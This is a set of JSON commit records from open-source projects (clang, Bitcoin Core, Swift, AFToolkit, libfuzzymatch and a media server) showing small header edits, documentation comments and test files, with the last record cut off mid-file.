{"commit":"710392d8d8ce1a8938cee441186e5ff699b65973","old_file":"test\/Driver\/ubsan-ld.c","new_file":"test\/Driver\/ubsan-ld.c","old_contents":"","new_contents":"\/\/ Test UndefinedBehaviorSanitizer ld flags.\n\n\/\/ RUN: %clang -fcatch-undefined-behavior %s -### -o %t.o 2>&1 \\\n\/\/ RUN: -target i386-unknown-linux \\\n\/\/ RUN: --sysroot=%S\/Inputs\/basic_linux_tree \\\n\/\/ RUN: | FileCheck --check-prefix=CHECK-LINUX %s\n\/\/ CHECK-LINUX: \"{{.*}}ld{{(.exe)?}}\"\n\/\/ CHECK-LINUX-NOT: \"-lc\"\n\/\/ CHECK-LINUX: libclang_rt.ubsan-i386.a\"\n\/\/ CHECK-LINUX: \"-lpthread\"\n","subject":"Add test for link flags added by -fcatch-undefined-behavior.","message":"Add test for link flags added by -fcatch-undefined-behavior.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@167306 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"} {"commit":"bb97296d4b4285e6884e61ceda833af5a453cb91","old_file":"src\/libfuzzymatch\/util.h","new_file":"src\/libfuzzymatch\/util.h","old_contents":"#include \n#include \n#include \n#include \n\n#include \"..\/utf8\/utf8.h\"\n\n\/*\n * Convert UTF-8 string to std::vector\n *\/\nvoid utf8to32(const std::string &s, std::vector &vec) {\n\tvec.assign(utf8::distance(s.cbegin(), s.cend()), 0);\n\tutf8::utf8to32(s.cbegin(), s.cend(), vec.data());\n}\n\n\/*\n * Convert UTF-8 C-string to std::vector\n *\/\nvoid utf8to32(char* const s, std::vector &vec) {\n\tconst size_t len(strlen(s));\n\tvec.assign(utf8::distance(s, s+len), 0);\n\tutf8::utf8to32(s, s+len, vec.data());\n}\n","new_contents":"#include \n#include \n#include \n#include \n\n#include \"..\/utf8\/utf8.h\"\n\n\/*\n * Convert UTF-8 string to std::vector\n *\/\nvoid inline utf8to32(const std::string &s, std::vector &vec) {\n\tvec.assign(utf8::distance(s.cbegin(), s.cend()), 0);\n\tutf8::utf8to32(s.cbegin(), s.cend(), vec.data());\n}\n\n\/*\n * Convert UTF-8 C-string to std::vector\n *\/\nvoid inline utf8to32(char* const s, std::vector &vec) {\n\tconst size_t len(strlen(s));\n\tvec.assign(utf8::distance(s, s+len), 0);\n\tutf8::utf8to32(s, s+len, vec.data());\n}\n","subject":"Use inline as a workaround so that the utf8 functions are not exported","message":"Use inline as a workaround so that the utf8 functions are not exported\n","lang":"C","license":"mit","repos":"xhochy\/libfuzzymatch,xhochy\/libfuzzymatch"} {"commit":"fa9ee52556f493e4a896e2570ca1a3102d777d9a","old_file":"src\/policy\/rbf.h","new_file":"src\/policy\/rbf.h","old_contents":"\/\/ Copyright (c) 2016-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_POLICY_RBF_H\n#define BITCOIN_POLICY_RBF_H\n\n#include \n\nenum class RBFTransactionState {\n UNKNOWN,\n REPLACEABLE_BIP125,\n FINAL\n};\n\n\/\/ Determine whether an in-mempool transaction is signaling opt-in to RBF\n\/\/ according to BIP 125\n\/\/ This involves checking sequence numbers of the transaction, as well\n\/\/ as the sequence numbers of all in-mempool ancestors.\nRBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);\nRBFTransactionState IsRBFOptInEmptyMempool(const CTransaction& tx);\n\n#endif \/\/ BITCOIN_POLICY_RBF_H\n","new_contents":"\/\/ Copyright (c) 2016-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_POLICY_RBF_H\n#define BITCOIN_POLICY_RBF_H\n\n#include \n\n\/** The rbf state of unconfirmed transactions *\/\nenum class RBFTransactionState {\n \/** Unconfirmed tx that does not signal rbf and is not in the mempool *\/\n UNKNOWN,\n \/** Either this tx or a mempool ancestor signals rbf *\/\n REPLACEABLE_BIP125,\n \/** Neither this tx nor a mempool ancestor signals rbf *\/\n FINAL,\n};\n\n\/**\n * Determine whether an unconfirmed transaction is signaling opt-in to RBF\n * according to BIP 125\n * This involves checking sequence numbers of the transaction, as well\n * as the sequence numbers of all in-mempool ancestors.\n *\n * @param tx The unconfirmed transaction\n * @param pool The mempool, which may contain the tx\n *\n * @return The rbf state\n *\/\nRBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);\nRBFTransactionState IsRBFOptInEmptyMempool(const CTransaction& tx);\n\n#endif \/\/ BITCOIN_POLICY_RBF_H\n","subject":"Add doxygen comment to IsRBFOptIn","message":"doc: Add doxygen comment to IsRBFOptIn\n","lang":"C","license":"mit","repos":"MarcoFalke\/bitcoin,AkioNak\/bitcoin,GroestlCoin\/GroestlCoin,dscotese\/bitcoin,ElementsProject\/elements,litecoin-project\/litecoin,anditto\/bitcoin,jamesob\/bitcoin,EthanHeilman\/bitcoin,jambolo\/bitcoin,ajtowns\/bitcoin,pataquets\/namecoin-core,tecnovert\/particl-core,sstone\/bitcoin,domob1812\/namecore,mm-s\/bitcoin,jlopp\/statoshi,AkioNak\/bitcoin,EthanHeilman\/bitcoin,ElementsProject\/elements,namecoin\/namecoin-core,ajtowns\/bitcoin,achow101\/bitcoin,mruddy\/bitcoin,bitcoin\/bitcoin,qtumproject\/qtum,practicalswift\/bitcoin,apoelstra\/bitcoin,n1bor\/bitcoin,mruddy\/bitcoin,qtumproject\/qtum,MeshCollider\/bitcoin,jlopp\/statoshi,pataquets\/namecoin-core,lateminer\/bitcoin,dscotese\/bitcoin,ajtowns\/bitcoin,yenliangl\/bitcoin,AkioNak\/bitcoin,prusnak\/bitcoin,jamesob\/bitcoin,achow101\/bitcoin,andreaskern\/bitcoin,bitcoinknots\/bitcoin,kallewoof\/bitcoin,mruddy\/bitcoin,fanquake\/bitcoin,cdecker\/bitcoin,particl\/particl-core,jambolo\/bitcoin,practicalswift\/bitcoin,MeshCollider\/bitcoin,rnicoll\/dogecoin,cdecker\/bitcoin,MarcoFalke\/bitcoin,GroestlCoin\/bitcoin,namecoin\/namecore,dscotese\/bitcoin,prusnak\/bitcoin,domob1812\/namecore,prusnak\/bitcoin,mm-s\/bitcoin,practicalswift\/bitcoin,rnicoll\/bitcoin,namecoin\/namecore,bitcoinsSG\/bitcoin,cdecker\/bitcoin,Sjors\/bitcoin,ajtowns\/bitcoin,GroestlCoin\/GroestlCoin,jamesob\/bitcoin,jonasschnelli\/bitcoin,alecalve\/bitcoin,anditto\/bitcoin,GroestlCoin\/bitcoin,jonasschnelli\/bitcoin,pataquets\/namecoin-core,bitcoinknots\/bitcoin,JeremyRubin\/bitcoin,mruddy\/bitcoin,particl\/particl-core,jlopp\/statoshi,bitcoinsSG\/bitcoin,anditto\/bitcoin,AkioNak\/bitcoin,mm-s\/bitcoin,jamesob\/bitcoin,MarcoFalke\/bitcoin,fujicoin\/fujicoin,practicalswift\/bitcoin,jlopp\/statoshi,prusnak\/bitcoin,qtumproject\/qtum,MeshCollider\/bitcoin,pstratem\/bitcoin,fanquake\/bitcoin,alecalve\/bitcoin,anditto\/bitcoin,GroestlCoin\/bitcoin,namecoin\/namecore,apoelstra\/bitcoin,litecoin-project\/litecoin,particl\/particl-core,namecoin\/namecore,jonasschnelli\/bitcoin,sstone\/bitcoin,MarcoFalke\/bitcoin,Xekyo\/bitcoin,rnicoll\/bitcoin,apoelstra\/bitcoin,achow101\/bitcoin,bitcoin\/bitcoin,yenliangl\/bitcoin,ElementsProject\/elements,cdecker\/bitcoin,sstone\/bitcoin,pstratem\/bitcoin,bitcoinsSG\/bitcoin,kallewoof\/bitcoin,rnicoll\/dogecoin,namecoin\/namecoin-core,instagibbs\/bitcoin,rnicoll\/bitcoin,yenliangl\/bitcoin,lateminer\/bitcoin,jlopp\/statoshi,jambolo\/bitcoin,tecnovert\/particl-core,instagibbs\/bitcoin,n1bor\/bitcoin,domob1812\/namecore,Xekyo\/bitcoin,n1bor\/bitcoin,JeremyRubin\/bitcoin,pstratem\/bitcoin,prusnak\/bitcoin,namecoin\/namecoin-core,bitcoin\/bitcoin,jnewbery\/bitcoin,domob1812\/namecore,Xekyo\/bitcoin,bitcoin\/bitcoin,bitcoinknots\/bitcoin,instagibbs\/bitcoin,sstone\/bitcoin,sipsorcery\/bitcoin,yenliangl\/bitcoin,apoelstra\/bitcoin,dscotese\/bitcoin,pstratem\/bitcoin,achow101\/bitcoin,particl\/particl-core,kallewoof\/bitcoin,anditto\/bitcoin,qtumproject\/qtum,MeshCollider\/bitcoin,EthanHeilman\/bitcoin,JeremyRubin\/bitcoin,EthanHeilman\/bitcoin,domob1812\/bitcoin,apoelstra\/bitcoin,pataquets\/namecoin-core,ElementsProject\/elements,particl\/particl-core,bitcoinsSG\/bitcoin,andreaskern\/bitcoin,instagibbs\/bitcoin,litecoin-project\/litecoin,jnewbery\/bitcoin,yenliangl\/bitcoin,JeremyRubin\/bitcoin,domob1812\/bitcoin,lateminer\/bitcoin,AkioNak\/bitcoin,GroestlCoin\/bitcoin,qtumproject\/qtum,MarcoFalke\/bitcoin,instagibbs\/bitcoin,MarcoFalke\/bitcoin,sstone\/bitcoin,JeremyRubin\/bitcoin,litecoin-project\/litecoin,ajtowns\/bitcoin,andreaskern\/bitcoin,kallewoof\/bitcoin,domob1812\/bitcoin,sipsorcery\/bitcoin,cdecker\/bitcoin,mruddy\/bitcoin,GroestlCoin\/bitcoin,namecoin\/namecore,pataquets\/namecoin-core,jnewbery\/bitcoin,n1bor\/bitcoin,Xekyo\/bitcoin,ElementsProject\/elements,jnewbery\/bitcoin,bitcoinsSG\/bitcoin,kallewoof\/bitcoin,jamesob\/bitcoin,particl\/particl-core,mm-s\/bitcoin,andreaskern\/bitcoin,jlopp\/statoshi,alecalve\/bitcoin,pstratem\/bitcoin,achow101\/bitcoin,litecoin-project\/litecoin,domob1812\/namecore,Sjors\/bitcoin,Sjors\/bitcoin,rnicoll\/dogecoin,tecnovert\/particl-core,apoelstra\/bitcoin,cdecker\/bitcoin,tecnovert\/particl-core,ElementsProject\/elements,andreaskern\/bitcoin,Sjors\/bitcoin,dscotese\/bitcoin,achow101\/bitcoin,rnicoll\/bitcoin,rnicoll\/dogecoin,EthanHeilman\/bitcoin,lateminer\/bitcoin,GroestlCoin\/bitcoin,GroestlCoin\/GroestlCoin,rnicoll\/dogecoin,alecalve\/bitcoin,tecnovert\/particl-core,lateminer\/bitcoin,alecalve\/bitcoin,fanquake\/bitcoin,AkioNak\/bitcoin,litecoin-project\/litecoin,pataquets\/namecoin-core,n1bor\/bitcoin,Xekyo\/bitcoin,dscotese\/bitcoin,sipsorcery\/bitcoin,practicalswift\/bitcoin,rnicoll\/bitcoin,andreaskern\/bitcoin,bitcoinknots\/bitcoin,bitcoin\/bitcoin,tecnovert\/particl-core,jambolo\/bitcoin,domob1812\/namecore,mm-s\/bitcoin,prusnak\/bitcoin,Xekyo\/bitcoin,sipsorcery\/bitcoin,lateminer\/bitcoin,qtumproject\/qtum,bitcoin\/bitcoin,fanquake\/bitcoin,fujicoin\/fujicoin,fujicoin\/fujicoin,fujicoin\/fujicoin,sipsorcery\/bitcoin,namecoin\/namecoin-core,namecoin\/namecoin-core,qtumproject\/qtum,bitcoinknots\/bitcoin,fujicoin\/fujicoin,jambolo\/bitcoin,jnewbery\/bitcoin,practicalswift\/bitcoin,n1bor\/bitcoin,fanquake\/bitcoin,ajtowns\/bitcoin,namecoin\/namecore,mruddy\/bitcoin,GroestlCoin\/GroestlCoin,fujicoin\/fujicoin,MeshCollider\/bitcoin,domob1812\/bitcoin,jamesob\/bitcoin,GroestlCoin\/GroestlCoin,jambolo\/bitcoin,Sjors\/bitcoin,kallewoof\/bitcoin,pstratem\/bitcoin,fanquake\/bitcoin,EthanHeilman\/bitcoin,alecalve\/bitcoin,rnicoll\/bitcoin,sstone\/bitcoin,jonasschnelli\/bitcoin,GroestlCoin\/GroestlCoin,namecoin\/namecoin-core,JeremyRubin\/bitcoin,sipsorcery\/bitcoin,bitcoinsSG\/bitcoin,anditto\/bitcoin,mm-s\/bitcoin,domob1812\/bitcoin,MeshCollider\/bitcoin,yenliangl\/bitcoin,domob1812\/bitcoin,instagibbs\/bitcoin,jonasschnelli\/bitcoin"} {"commit":"e2cd49be27b0e40467415fbc3318a5a4a5ad9161","old_file":"AFToolkit\/AFToolkit.h","new_file":"AFToolkit\/AFToolkit.h","old_contents":"\/\/\n\/\/ Toolkit header to include the main headers of the 'AFToolkit' library.\n\/\/\n\n#import \"AFDefines.h\"\n#import \"AFLogHelper.h\"\n#import \"AFFileHelper.h\"\n#import \"AFPlatformHelper.h\"\n#import \"AFKVO.h\"\n#import \"AFArray.h\"\n#import \"AFMutableArray.h\"\n#import \"NSBundle+Universal.h\"\n#import \"UITableViewCell+Universal.h\"\n#import \"AFDBClient.h\"\n#import \"AFView.h\"\n#import \"AFViewController.h\"","new_contents":"\/\/\n\/\/ Toolkit header to include the main headers of the 'AFToolkit' library.\n\/\/\n\n#import \"AFDefines.h\"\n#import \"AFLogHelper.h\"\n#import \"AFFileHelper.h\"\n#import \"AFPlatformHelper.h\"\n#import \"AFReachability.h\"\n#import \"AFKVO.h\"\n#import \"AFArray.h\"\n#import \"AFMutableArray.h\"\n#import \"NSBundle+Universal.h\"\n#import \"UITableViewCell+Universal.h\"\n#import \"AFDBClient.h\"\n#import \"AFView.h\"\n#import \"AFViewController.h\"","subject":"Add Reachability to toolkit header.","message":"Add Reachability to toolkit header.\n","lang":"C","license":"mit","repos":"mlatham\/AFToolkit"} {"commit":"8ebf7bc9546695c516859093d8db0d300d8bd23c","old_file":"stdlib\/public\/SwiftShims\/RuntimeStubs.h","new_file":"stdlib\/public\/SwiftShims\/RuntimeStubs.h","old_contents":"\/\/===--- RuntimeStubs.h -----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Misc stubs for functions which should be defined in the core standard\n\/\/ library, but are difficult or impossible to write in Swift at the\n\/\/ moment.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_\n#define SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_\n\n#include \"LibcShims.h\"\n\n#ifdef __cplusplus\nnamespace swift { extern \"C\" {\n#endif\n\nSWIFT_BEGIN_NULLABILITY_ANNOTATIONS\n\n__swift_ssize_t\nswift_stdlib_readLine_stdin(char * _Nullable * _Nonnull LinePtr);\n\nSWIFT_END_NULLABILITY_ANNOTATIONS\n\n#ifdef __cplusplus\n}} \/\/ extern \"C\", namespace swift\n#endif\n\n#endif \/\/ SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_\n\n","new_contents":"\/\/===--- RuntimeStubs.h -----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Misc stubs for functions which should be defined in the core standard\n\/\/ library, but are difficult or impossible to write in Swift at the\n\/\/ moment.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_\n#define SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_\n\n#include \"LibcShims.h\"\n\n#ifdef __cplusplus\nnamespace swift { extern \"C\" {\n#endif\n\nSWIFT_BEGIN_NULLABILITY_ANNOTATIONS\n\nSWIFT_RUNTIME_STDLIB_INTERFACE\n__swift_ssize_t\nswift_stdlib_readLine_stdin(char * _Nullable * _Nonnull LinePtr);\n\nSWIFT_END_NULLABILITY_ANNOTATIONS\n\n#ifdef __cplusplus\n}} \/\/ extern \"C\", namespace swift\n#endif\n\n#endif \/\/ SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_\n\n","subject":"Add export attribute to header declaration.","message":"Add export attribute to header declaration.\n","lang":"C","license":"apache-2.0","repos":"gribozavr\/swift,djwbrown\/swift,xedin\/swift,calebd\/swift,austinzheng\/swift,lorentey\/swift,gmilos\/swift,shajrawi\/swift,tardieu\/swift,alblue\/swift,roambotics\/swift,rudkx\/swift,IngmarStein\/swift,codestergit\/swift,jtbandes\/swift,practicalswift\/swift,manavgabhawala\/swift,brentdax\/swift,airspeedswift\/swift,aschwaighofer\/swift,tjw\/swift,jmgc\/swift,CodaFi\/swift,parkera\/swift,ahoppen\/swift,practicalswift\/swift,gregomni\/swift,nathawes\/swift,natecook1000\/swift,frootloops\/swift,gottesmm\/swift,jmgc\/swift,jckarter\/swift,modocache\/swift,practicalswift\/swift,parkera\/swift,gribozavr\/swift,milseman\/swift,devincoughlin\/swift,JGiola\/swift,tardieu\/swift,gottesmm\/swift,karwa\/swift,hooman\/swift,deyton\/swift,practicalswift\/swift,ben-ng\/swift,shahmishal\/swift,amraboelela\/swift,ben-ng\/swift,deyton\/swift,gribozavr\/swift,ben-ng\/swift,amraboelela\/swift,austinzheng\/swift,atrick\/swift,shahmishal\/swift,natecook1000\/swift,brentdax\/swift,harlanhaskins\/swift,bitjammer\/swift,austinzheng\/swift,jopamer\/swift,danielmartin\/swift,sschiau\/swift,ben-ng\/swift,karwa\/swift,nathawes\/swift,Jnosh\/swift,roambotics\/swift,jtbandes\/swift,tinysun212\/swift-windows,harlanhaskins\/swift,xedin\/swift,JaSpa\/swift,bitjammer\/swift,uasys\/swift,xedin\/swift,therealbnut\/swift,shajrawi\/swift,shahmishal\/swift,benlangmuir\/swift,parkera\/swift,huonw\/swift,lorentey\/swift,gregomni\/swift,manavgabhawala\/swift,IngmarStein\/swift,therealbnut\/swift,alblue\/swift,shajrawi\/swift,tjw\/swift,xwu\/swift,benlangmuir\/swift,arvedviehweger\/swift,atrick\/swift,allevato\/swift,tjw\/swift,bitjammer\/swift,natecook1000\/swift,swiftix\/swift,JaSpa\/swift,gmilos\/swift,lorentey\/swift,aschwaighofer\/swift,rudkx\/swift,bitjammer\/swift,OscarSwanros\/swift,milseman\/swift,amraboelela\/swift,manavgabhawala\/swift,brentdax\/swift,JGiola\/swift,nathawes\/swift,xedin\/swift,jtbandes\/swift,shahmishal\/swift,calebd\/swift,Jnosh\/swift,tinysun212\/swift-windows,devincoughlin\/swift,russbishop\/swift,allevato\/swift,dreamsxin\/swift,Jnosh\/swift,Jnosh\/swift,swiftix\/swift,allevato\/swift,uasys\/swift,return\/swift,felix91gr\/swift,hooman\/swift,shajrawi\/swift,tinysun212\/swift-windows,airspeedswift\/swift,benlangmuir\/swift,JaSpa\/swift,aschwaighofer\/swift,arvedviehweger\/swift,practicalswift\/swift,parkera\/swift,sschiau\/swift,deyton\/swift,harlanhaskins\/swift,modocache\/swift,kperryua\/swift,gregomni\/swift,shajrawi\/swift,huonw\/swift,ken0nek\/swift,huonw\/swift,natecook1000\/swift,return\/swift,shajrawi\/swift,ken0nek\/swift,calebd\/swift,bitjammer\/swift,JaSpa\/swift,sschiau\/swift,jopamer\/swift,jmgc\/swift,parkera\/swift,jmgc\/swift,felix91gr\/swift,sschiau\/swift,zisko\/swift,shahmishal\/swift,lorentey\/swift,parkera\/swift,IngmarStein\/swift,stephentyrone\/swift,calebd\/swift,devincoughlin\/swift,djwbrown\/swift,tinysun212\/swift-windows,atrick\/swift,hooman\/swift,swiftix\/swift,stephentyrone\/swift,frootloops\/swift,kperryua\/swift,kstaring\/swift,austinzheng\/swift,ben-ng\/swift,ahoppen\/swift,stephentyrone\/swift,tjw\/swift,kstaring\/swift,uasys\/swift,djwbrown\/swift,atrick\/swift,modocache\/swift,austinzheng\/swift,sschiau\/swift,stephentyrone\/swift,gmilos\/swift,practicalswift\/swift,JaSpa\/swift,gribozavr\/swift,glessard\/swift,manavgabhawala\/swift,IngmarStein\/swift,brentdax\/swift,milseman\/swift,Jnosh\/swift,kperryua\/swift,huonw\/swift,devincoughlin\/swift,nathawes\/swift,deyton\/swift,kstaring\/swift,felix91gr\/swift,russbishop\/swift,jtbandes\/swift,codestergit\/swift,codestergit\/swift,huonw\/swift,gribozavr\/swift,hughbe\/swift,roambotics\/swift,swiftix\/swift,allevato\/swift,sschiau\/swift,hooman\/swift,uasys\/swift,tardieu\/swift,frootloops\/swift,ken0nek\/swift,danielmartin\/swift,kstaring\/swift,shajrawi\/swift,milseman\/swift,milseman\/swift,practicalswift\/swift,karwa\/swift,zisko\/swift,alblue\/swift,ahoppen\/swift,codestergit\/swift,glessard\/swift,glessard\/swift,allevato\/swift,return\/swift,Jnosh\/swift,shahmishal\/swift,djwbrown\/swift,milseman\/swift,jmgc\/swift,devincoughlin\/swift,uasys\/swift,milseman\/swift,tjw\/swift,karwa\/swift,natecook1000\/swift,karwa\/swift,jckarter\/swift,rudkx\/swift,austinzheng\/swift,devincoughlin\/swift,ahoppen\/swift,xwu\/swift,airspeedswift\/swift,harlanhaskins\/swift,CodaFi\/swift,modocache\/swift,atrick\/swift,therealbnut\/swift,JGiola\/swift,kperryua\/swift,airspeedswift\/swift,manavgabhawala\/swift,gregomni\/swift,aschwaighofer\/swift,OscarSwanros\/swift,russbishop\/swift,parkera\/swift,codestergit\/swift,natecook1000\/swift,russbishop\/swift,rudkx\/swift,ben-ng\/swift,IngmarStein\/swift,allevato\/swift,zisko\/swift,jckarter\/swift,CodaFi\/swift,gmilos\/swift,frootloops\/swift,deyton\/swift,ken0nek\/swift,return\/swift,harlanhaskins\/swift,gottesmm\/swift,kperryua\/swift,djwbrown\/swift,ahoppen\/swift,swiftix\/swift,stephentyrone\/swift,russbishop\/swift,gribozavr\/swift,huonw\/swift,arvedviehweger\/swift,therealbnut\/swift,airspeedswift\/swift,jtbandes\/swift,tkremenek\/swift,lorentey\/swift,lorentey\/swift,OscarSwanros\/swift,CodaFi\/swift,atrick\/swift,Jnosh\/swift,tardieu\/swift,tkremenek\/swift,JGiola\/swift,nathawes\/swift,airspeedswift\/swift,tardieu\/swift,benlangmuir\/swift,dreamsxin\/swift,return\/swift,rudkx\/swift,gottesmm\/swift,swiftix\/swift,JGiola\/swift,felix91gr\/swift,shahmishal\/swift,danielmartin\/swift,kperryua\/swift,devincoughlin\/swift,swiftix\/swift,lorentey\/swift,xedin\/swift,russbishop\/swift,xwu\/swift,calebd\/swift,allevato\/swift,brentdax\/swift,alblue\/swift,xwu\/swift,karwa\/swift,therealbnut\/swift,apple\/swift,jopamer\/swift,roambotics\/swift,jmgc\/swift,arvedviehweger\/swift,devincoughlin\/swift,felix91gr\/swift,deyton\/swift,jopamer\/swift,kstaring\/swift,hooman\/swift,roambotics\/swift,danielmartin\/swift,modocache\/swift,uasys\/swift,hughbe\/swift,huonw\/swift,kstaring\/swift,frootloops\/swift,nathawes\/swift,glessard\/swift,jopamer\/swift,JaSpa\/swift,bitjammer\/swift,therealbnut\/swift,ken0nek\/swift,sschiau\/swift,apple\/swift,felix91gr\/swift,aschwaighofer\/swift,gregomni\/swift,alblue\/swift,codestergit\/swift,OscarSwanros\/swift,modocache\/swift,hughbe\/swift,jtbandes\/swift,xwu\/swift,harlanhaskins\/swift,gottesmm\/swift,CodaFi\/swift,zisko\/swift,tinysun212\/swift-windows,danielmartin\/swift,jckarter\/swift,tkremenek\/swift,zisko\/swift,hooman\/swift,benlangmuir\/swift,return\/swift,apple\/swift,karwa\/swift,hughbe\/swift,hughbe\/swift,shahmishal\/swift,kperryua\/swift,aschwaighofer\/swift,gottesmm\/swift,apple\/swift,jmgc\/swift,xedin\/swift,xedin\/swift,amraboelela\/swift,airspeedswift\/swift,tinysun212\/swift-windows,hughbe\/swift,gmilos\/swift,stephentyrone\/swift,aschwaighofer\/swift,IngmarStein\/swift,kstaring\/swift,jckarter\/swift,IngmarStein\/swift,CodaFi\/swift,nathawes\/swift,ahoppen\/swift,zisko\/swift,parkera\/swift,amraboelela\/swift,rudkx\/swift,deyton\/swift,gribozavr\/swift,uasys\/swift,arvedviehweger\/swift,jtbandes\/swift,frootloops\/swift,jckarter\/swift,danielmartin\/swift,jckarter\/swift,manavgabhawala\/swift,tinysun212\/swift-windows,gmilos\/swift,gmilos\/swift,return\/swift,brentdax\/swift,zisko\/swift,tardieu\/swift,tjw\/swift,benlangmuir\/swift,natecook1000\/swift,apple\/swift,stephentyrone\/swift,karwa\/swift,danielmartin\/swift,arvedviehweger\/swift,amraboelela\/swift,roambotics\/swift,practicalswift\/swift,sschiau\/swift,arvedviehweger\/swift,jopamer\/swift,modocache\/swift,OscarSwanros\/swift,hughbe\/swift,alblue\/swift,codestergit\/swift,therealbnut\/swift,felix91gr\/swift,djwbrown\/swift,tkremenek\/swift,tardieu\/swift,xwu\/swift,JaSpa\/swift,xedin\/swift,glessard\/swift,tjw\/swift,OscarSwanros\/swift,JGiola\/swift,ben-ng\/swift,calebd\/swift,OscarSwanros\/swift,ken0nek\/swift,gottesmm\/swift,apple\/swift,gregomni\/swift,austinzheng\/swift,tkremenek\/swift,jopamer\/swift,harlanhaskins\/swift,alblue\/swift,ken0nek\/swift,hooman\/swift,russbishop\/swift,brentdax\/swift,gribozavr\/swift,amraboelela\/swift,lorentey\/swift,bitjammer\/swift,djwbrown\/swift,tkremenek\/swift,CodaFi\/swift,manavgabhawala\/swift,glessard\/swift,frootloops\/swift,calebd\/swift,xwu\/swift,shajrawi\/swift,tkremenek\/swift"} {"commit":"b009cbb951c0ac55f7122b9a492a4f9e395a3d86","old_file":"src\/tests\/test-grabber.c","new_file":"src\/tests\/test-grabber.c","old_contents":"","new_contents":"\/* Media Server - a library and daemon for medias indexation and streaming\n *\n * Copyright (C) 2012 Enna Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n * FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,\n * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifdef HAVE_CONFIG_H\n# include \n#endif\n\n#include \"ems_private.h\"\n\nstatic void\n_end_grab_cb(void *data __UNUSED__, const char *filename __UNUSED__)\n{\n DBG(\"End Grab\");\n ecore_main_loop_quit();\n}\n\n\n\/*============================================================================*\n * Global *\n *============================================================================*\/\n\nint main(int argc __UNUSED__, char **argv)\n{\n Eina_Module *m;\n char tmp[PATH_MAX];\n\n void (*grab)(const char *filename, Ems_Media_Type type,\n void (*Ems_Grabber_End_Cb)(void *data, const char *filename),\n void *data\n );\n \n ems_init(NULL);\n eina_init();\n ecore_init();\n ecore_con_init();\n ecore_con_url_init();\n \n DBG(\"%s init\", argv[0]);\n \n \n if (!argv[1])\n {\n printf(\"USAGE : %s grabber_name\", argv[0]);\n exit(0);\n }\n \n DBG(\"Try to load %s\", argv[1]);\n DBG(\"Searh for modules in %s with arch %s\", PACKAGE_LIB_DIR \"\/ems\/grabbers\", MODULE_ARCH);\n\n snprintf(tmp, sizeof(tmp), PACKAGE_LIB_DIR\"\/ems\/grabbers\/%s\/%s\/module.so\", argv[1], MODULE_ARCH);\n DBG(\"Complete path module %s\", tmp);\n m = eina_module_new(tmp);\n \n eina_module_load(m);\n\n grab = eina_module_symbol_get(m, \"ems_grabber_grab\");\n if (grab)\n {\n DBG(\"Grab file\");\n grab(argv[2],\n 